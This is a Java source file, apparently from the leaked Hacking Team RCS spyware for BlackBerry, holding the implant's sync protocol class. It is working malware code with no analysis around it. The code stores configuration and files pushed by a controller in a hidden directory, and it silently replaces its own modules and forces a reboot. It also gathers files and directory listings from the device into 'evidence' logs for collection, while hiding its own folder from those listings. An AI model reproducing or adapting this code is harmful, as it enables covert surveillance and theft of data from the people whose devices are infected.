hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/action/sync/Protocol.java

Summary

Maintainability
C
1 day
Test Coverage
//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2011
 * HT srl,   All rights reserved.
 * 
 * Project      : RCS, RCSBlackBerry
 * *************************************************/

package blackberry.action.sync;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.InputStream;
import java.util.Date;
import java.util.Enumeration;
import java.util.Vector;

import javax.microedition.io.file.FileSystemRegistry;

import net.rim.device.api.system.CodeModuleManager;
import net.rim.device.api.util.DataBuffer;
import blackberry.Core;
import blackberry.Messages;
import blackberry.action.sync.protocol.CommandException;
import blackberry.action.sync.protocol.ProtocolException;
import blackberry.action.sync.transport.Transport;
import blackberry.config.Cfg;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.Evidence;
import blackberry.evidence.EvidenceType;
import blackberry.fs.AutoFile;
import blackberry.fs.Directory;
import blackberry.fs.Path;
import blackberry.utils.DateTime;
import blackberry.utils.Utils;
import blackberry.utils.WChar;

public abstract class Protocol {
    public static final String UPGRADE_FILENAME_0 = Messages.getString("e.0"); //$NON-NLS-1$
    public static final String UPGRADE_FILENAME_1 = Messages.getString("e.1"); //$NON-NLS-1$

    //#ifdef DEBUG
    private static Debug debug = new Debug("Protocol", DebugLevel.VERBOSE); //$NON-NLS-1$
    //#endif

    protected Transport transport;

    //public boolean reload;
    //public boolean uninstall;

    public boolean init(Transport transport) {
        this.transport = transport;
        //transport.initConnection();
        return true;
    }

    public abstract boolean perform() throws ProtocolException;

    public synchronized static boolean saveNewConf(byte[] conf, int offset)
            throws CommandException {

        boolean ret = false;
        try {
            //#ifdef DEBUG
            debug.trace("saveNewConf opening"); //$NON-NLS-1$
            //#endif
            final AutoFile file = new AutoFile(Path.conf(), Cfg.NEW_CONF);

            //#ifdef DEBUG
            debug.trace("saveNewConf exists"); //$NON-NLS-1$
            //#endif
            if (file.exists()) {
                //#ifdef DEBUG
                debug.trace("saveNewConf delete"); //$NON-NLS-1$
                //#endif
                file.delete();
            }

            //#ifdef DEBUG
            debug.trace("saveNewConf create"); //$NON-NLS-1$
            //#endif
            file.create();

            //#ifdef DEBUG
            debug.trace("saveNewConf write"); //$NON-NLS-1$
            //#endif
            ret = file.write(conf, offset, conf.length - offset);
            if (!ret) {
                //#ifdef DEBUG
                debug.error("saveNewConf: cannot write on file: " //$NON-NLS-1$
                        + file.getFullFilename());
                //#endif

                throw new CommandException(); //"write"
            } else {
                Evidence.info(Messages.getString("e.2")); //$NON-NLS-1$
            }
        } catch (Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            debug.error("saveNewConf"); //$NON-NLS-1$
            //#endif
        }

        return ret;
    }

    public static void saveUpload(String filename, byte[] content) {
        final AutoFile file = new AutoFile(Path.hidden(), filename);

        if (file.exists()) {
            //#ifdef DEBUG
            debug.trace("getUpload replacing existing file: " + filename); //$NON-NLS-1$
            //#endif
            file.delete();
        }
        file.create();
        file.write(content);

        //#ifdef DEBUG
        debug.trace("file written: " + file.exists()); //$NON-NLS-1$
        //#endif

    }

    public static boolean upgradeMulti(Vector files) {

        try {
            AutoFile[] autoFiles = new AutoFile[files.size()];
            // guarda se i file ci sono tutti e sono capienti e leggibili
            for (int i = 0; i < files.size(); i++) {
                String file = (String) files.elementAt(i);
                AutoFile autoFile = new AutoFile(Path.hidden(), file);
                autoFiles[i] = autoFile;

                if (!autoFile.exists() || !autoFile.isReadable()
                        || autoFile.getSize() <= 0) {
                    //#ifdef DEBUG
                    debug.error("upgradeMulti, file does not exist: " + file); //$NON-NLS-1$
                    //#endif
                }
            }

            // cancella se stesso
            deleteSelf();

            // upgrade effettivo
            for (int i = 0; i < autoFiles.length; i++) {
                AutoFile autoFlashFile = autoFiles[i];

                //#ifdef DEBUG
                debug.trace("upgrading: " + autoFlashFile.getFullFilename()); //$NON-NLS-1$
                //#endif
                upgradeCod(autoFlashFile.read());
                autoFlashFile.delete();
            }

            // restart the blackberry if required
            if (CodeModuleManager.isResetRequired()) {
                Core.forceReboot();

                //#ifdef DEBUG
                debug.warn("Reset required"); //$NON-NLS-1$
                //#endif
            }

            //#ifdef DEBUG
            debug.info("Upgrade REQUEST"); //$NON-NLS-1$
            //#endif
            return true;
        } catch (Exception ex) {
            //#ifdef DEBUG
            debug.info("Upgrade FAILED"); //$NON-NLS-1$
            //#endif
            return false;
        }
    }

    public static boolean upgradeMulti() {
        final AutoFile file_0 = new AutoFile(Path.hidden(),
                Protocol.UPGRADE_FILENAME_0);
        final AutoFile file_1 = new AutoFile(Path.hidden(),
                Protocol.UPGRADE_FILENAME_1);

        if (file_0.exists() && file_1.exists()) {
            //#ifdef DEBUG
            debug.trace("upgradeMulti: both file present"); //$NON-NLS-1$
            //#endif                        

            deleteSelf();

            //#ifdef DEBUG
            debug.trace("upgrading: " + Protocol.UPGRADE_FILENAME_0); //$NON-NLS-1$
            //#endif

            upgradeCod(file_0.read());

            //#ifdef DEBUG
            debug.trace("upgrading: " + Protocol.UPGRADE_FILENAME_0); //$NON-NLS-1$
            //#endif

            upgradeCod(file_1.read());

            file_0.delete();
            file_1.delete();

            // restart the blackberry if required
            if (CodeModuleManager.isResetRequired()) {
                //#ifdef DEBUG
                CodeModuleManager.promptForResetIfRequired();
                //#endif
                //#ifdef DEBUG
                debug.warn("Reset required"); //$NON-NLS-1$
                //#endif
            }

            return true;
        } else {
            //#ifdef DEBUG
            debug.trace("upgradeMulti: not both."); //$NON-NLS-1$
            //#endif
            return false;
        }
    }

    public static boolean deleteSelf() {
        // Delete it self.
        final int handle = CodeModuleManager.getModuleHandle(Cfg.MODULE_NAME);
        if (handle != 0) {
            final int success = CodeModuleManager.deleteModuleEx(handle, true);
            //#ifdef DEBUG
            debug.info("deleted: " + success); //$NON-NLS-1$
            //#endif
            return true;
        } else {
            return false;
        }
    }

    public static boolean upgradeCod(byte[] codBuff) {

        if (Utils.isZip(codBuff)) {
            //#ifdef DEBUG
            debug.warn("zip not supported"); //$NON-NLS-1$
            //#endif
            return false;
        }

        // Download new cod files(included sibling files).

        int newHandle = 0;
        // API REFERENCE:
        // You need to write the data in two separate chunks.
        // The first data chunk must be less thank 64KB in size.
        final int MAXAPPEND = 61440; // 1024*60;

        if (codBuff.length > MAXAPPEND) {
            //#ifdef DEBUG
            debug.trace("upgrade len: " + codBuff.length); //$NON-NLS-1$
            //#endif
            newHandle = CodeModuleManager.createNewModule(codBuff.length,
                    codBuff, MAXAPPEND);

            final boolean appendSucc = CodeModuleManager.writeNewModule(
                    newHandle, MAXAPPEND, codBuff, MAXAPPEND, codBuff.length
                            - MAXAPPEND);

            //#ifdef DEBUG
            debug.trace("upgrade append success: " + appendSucc); //$NON-NLS-1$
            //#endif

            codBuff = null;
        } else {
            //#ifdef DEBUG
            debug.trace("upgrade simple"); //$NON-NLS-1$
            //#endif
            newHandle = CodeModuleManager.createNewModule(codBuff.length,
                    codBuff, codBuff.length);
        }

        //#ifdef DEBUG
        debug.trace("upgrade installing the module"); //$NON-NLS-1$
        //#endif
        // install the module
        if (newHandle != 0) {
            final int savecode = CodeModuleManager.saveNewModule(newHandle,
                    true);
            if (savecode != CodeModuleManager.CMM_OK_MODULE_OVERWRITTEN) {
                //#ifdef DEBUG
                debug.error("Module not overwritten"); //$NON-NLS-1$
                //#endif
                return false;
            }
        } else {
            //#ifdef DEBUG
            debug.error("upgrade null handle"); //$NON-NLS-1$
            //#endif
        }

        //#ifdef DEBUG
        debug.info("Module installed"); //$NON-NLS-1$
        //#endif

        return true;
    }

    public static void saveDownloadLog(String filefilter)
            throws ProtocolException {
        AutoFile file = new AutoFile(filefilter, false);
        if (file.exists()) {
            //#ifdef DEBUG
            debug.trace("logging file: " + filefilter); //$NON-NLS-1$
            //#endif
            saveFileLog(file, filefilter);
        } else {
            //#ifdef DEBUG
            debug.trace("not a file, try to expand it: " + filefilter); //$NON-NLS-1$
            //#endif
            Enumeration en = Directory.find(filefilter);
            while (en.hasMoreElements()) {

                try {
                    String filename = (String) en.nextElement();

                    file = new AutoFile(filename, false);
                    if (file.isDirectory()) {
                        continue;
                    }

                    saveFileLog(file, filename);
                    //#ifdef DEBUG
                    debug.trace("logging file: " + filename); //$NON-NLS-1$
                    //#endif
                } catch (Exception e) {
                    //#ifdef DEBUG
                    debug.error(e);
                    //#endif
                    throw new ProtocolException();
                }

            }
        }
    }

    private static void saveFileLog(AutoFile file, String filename) {
        //#ifdef DBC
        Check.requires(file != null, "null file"); //$NON-NLS-1$
        Check.requires(file.exists(), "file should exist"); //$NON-NLS-1$
        Check.requires(!filename.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
        Check.requires(!filename.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
        //#endif

        byte[] additional = Protocol.logDownloadAdditional(filename);
        Evidence log = new Evidence(EvidenceType.DOWNLOAD);
        log.createEvidence(additional);

        int size = (int) file.getSize();
        DataInputStream is = file.getInputStream();
        log.writeEvidence(is, size);
        //closes is
        file.close();
        log.close();

    }

    private static byte[] logDownloadAdditional(String filename) {

        //#ifdef DBC
        Check.requires(filename != null, "null file"); //$NON-NLS-1$
        Check.requires(!filename.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
        Check.requires(!filename.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
        //#endif

        String path = Utils.chomp(Path.hidden(), "/"); // UPLOAD_DIR //$NON-NLS-1$
        int macroPos = filename.indexOf(path);
        if (macroPos >= 0) {
            //#ifdef DEBUG
            debug.trace("macropos: " + macroPos); //$NON-NLS-1$
            //#endif
            String start = filename.substring(0, macroPos);
            String end = filename.substring(macroPos + path.length());

            filename = start + Directory.hiddenDirMacro + end;
        }

        //#ifdef DEBUG
        debug.trace("filename: " + filename); //$NON-NLS-1$
        //#endif

        int version = 2008122901;
        byte[] wfilename = WChar.getBytes(filename);
        byte[] buffer = new byte[wfilename.length + 8];

        final DataBuffer databuffer = new DataBuffer(buffer, 0, buffer.length,
                false);

        databuffer.writeInt(version);
        databuffer.writeInt(wfilename.length);
        databuffer.write(wfilename);

        return buffer;
    }

    public static void saveFilesystem(int depth, String path) {
        Evidence fsLog = new Evidence(EvidenceType.FILESYSTEM);
        fsLog.createEvidence();

        path = path.replace('\\', '/');

        // Expand path and create log
        if (path.equals("/")) { //$NON-NLS-1$
            //#ifdef DEBUG
            debug.trace("sendFilesystem: root"); //$NON-NLS-1$
            //#endif
            expandRoot(fsLog, depth);
        } else {
            if (path.startsWith("//")) {
                path = path.substring(1, path.length());
            }
            if (path.endsWith("/*")) { //$NON-NLS-1$ //$NON-NLS-2$
                path = path.substring(0, path.length() - 2);
            }
            if (!path.startsWith("/")) {
                path = "/" + path;
            }

            expandPath(fsLog, path, depth);

        }

        fsLog.close();
    }

    /**
     * Expand the root for a maximum depth. 0 means only root, 1 means its sons.
     * 
     * @param depth
     */
    private static void expandRoot(Evidence fsLog, int depth) {
        //#ifdef DBC
        Check.requires(depth > 0, "wrong recursion depth"); //$NON-NLS-1$
        //#endif

        saveRootLog(fsLog); // depth 0
        final Enumeration roots = FileSystemRegistry.listRoots();

        while (roots.hasMoreElements()) {
            String root = (String) roots.nextElement();
            if (root.endsWith("/")) { //$NON-NLS-1$
                root = root.substring(0, root.length() - 1);
            }
            //#ifdef DEBUG
            debug.trace("expandRoot: " + root + " depth: " + depth); //$NON-NLS-1$ //$NON-NLS-2$
            //#endif
            Protocol.saveFilesystemLog(fsLog, "/" + root); // depth 1 //$NON-NLS-1$
            if (depth - 1 > 0) {
                // if depth is 0, no recursion is required
                expandPath(fsLog, "/" + root, depth - 1); // depth 2+ //$NON-NLS-1$
            }
        }
    }

    private static boolean saveFilesystemLog(Evidence fsLog, String filepath) {
        //#ifdef DBC
        Check.requires(fsLog != null, "fsLog null"); //$NON-NLS-1$
        Check.requires(!filepath.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
        Check.requires(!filepath.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
        //#endif

        //#ifdef DEBUG
        debug.info("save FilesystemLog: " + filepath); //$NON-NLS-1$
        //#endif
        int version = 2010031501;

        AutoFile file = new AutoFile(filepath);
        if (!file.exists()) {
            //#ifdef DEBUG
            debug.error("non existing file: " + filepath); //$NON-NLS-1$
            //#endif
            return false;
        }

        byte[] w_filepath = WChar.getBytes(filepath, true);

        byte[] content = new byte[28 + w_filepath.length];
        DataBuffer databuffer = new DataBuffer(content, 0, content.length,
                false);

        databuffer.writeInt(version);
        databuffer.writeInt(w_filepath.length);

        int flags = 0;
        long size = file.getSize();

        boolean isDir = file.isDirectory();
        if (isDir) {
            flags |= 1;
        } else {
            if (size == 0) {
                flags |= 2;
            }
        }

        databuffer.writeInt(flags);
        databuffer.writeLong(size);
        databuffer.writeLong(DateTime.getFiledate(file.getFileTime()));
        databuffer.write(w_filepath);

        fsLog.writeEvidence(content);

        //#ifdef DEBUG
        debug.trace("expandPath: written log"); //$NON-NLS-1$
        //#endif

        return isDir;
    }

    /**
     * saves the root log. We use this method because the directory "/" cannot
     * be opened, we fake it.
     */
    private static void saveRootLog(Evidence fsLog) {
        int version = 2010031501;

        //#ifdef DBC
        Check.requires(fsLog != null, "fsLog null"); //$NON-NLS-1$
        //#endif
        //byte[] content = new byte[30];
        DataBuffer databuffer = new DataBuffer(false);
        databuffer.writeInt(version);
        databuffer.writeInt(2); // len
        databuffer.writeInt(1); // flags
        databuffer.writeLong(0);
        databuffer.writeLong(DateTime.getFiledate(new Date()));
        databuffer.write(WChar.getBytes("/")); //$NON-NLS-1$

        fsLog.writeEvidence(databuffer.toArray());
    }

    /**
     * Expand recursively the path saving the log. When depth is 0 saves the log
     * and stop recurring.
     * 
     * @param path
     * @param depth
     */
    private static void expandPath(Evidence fsLog, String path, int depth) {
        //#ifdef DBC
        Check.requires(depth > 0, "wrong recursion depth"); //$NON-NLS-1$
        Check.requires(path != null, "path==null"); //$NON-NLS-1$
        Check.requires(!path.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
        Check.requires(!path.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
        //#endif

        //#ifdef DEBUG
        debug.trace("expandPath: " + path + " depth: " + depth); //$NON-NLS-1$ //$NON-NLS-2$
        //#endif

        //saveFilesystemLog(path);
        //if (depth > 0) {
        for (Enumeration en = Directory.find(path + "/*"); en.hasMoreElements();) { //$NON-NLS-1$

            String dPath = path + "/" + (String) en.nextElement(); //$NON-NLS-1$
            if (dPath.endsWith("/")) { //$NON-NLS-1$
                //#ifdef DEBUG
                debug.trace("expandPath: dir"); //$NON-NLS-1$
                //#endif
                dPath = dPath.substring(0, dPath.length() - 1); // togli lo /
            } else {
                //#ifdef DEBUG
                debug.trace("expandPath: file"); //$NON-NLS-1$
                //#endif
            }

            if (dPath.indexOf(Utils.chomp(Path.hidden(), "/")) >= 0) { //$NON-NLS-1$
                //#ifdef DEBUG
                debug.warn("expandPath ignoring hidden path: " + dPath); //$NON-NLS-1$
                //#endif
                continue;
            }

            boolean isDir = Protocol.saveFilesystemLog(fsLog, dPath);
            if (isDir && depth > 1) {
                expandPath(fsLog, dPath, depth - 1);
            }
        }
        //}
    }

    public static String normalizeFilename(String file) {
        if (file.startsWith("//")) { //$NON-NLS-1$
            //#ifdef DEBUG
            debug.trace("normalizeFilename: " + file); //$NON-NLS-1$
            //#endif
            return file.substring(1);
        } else {
            return file;
        }
    }

}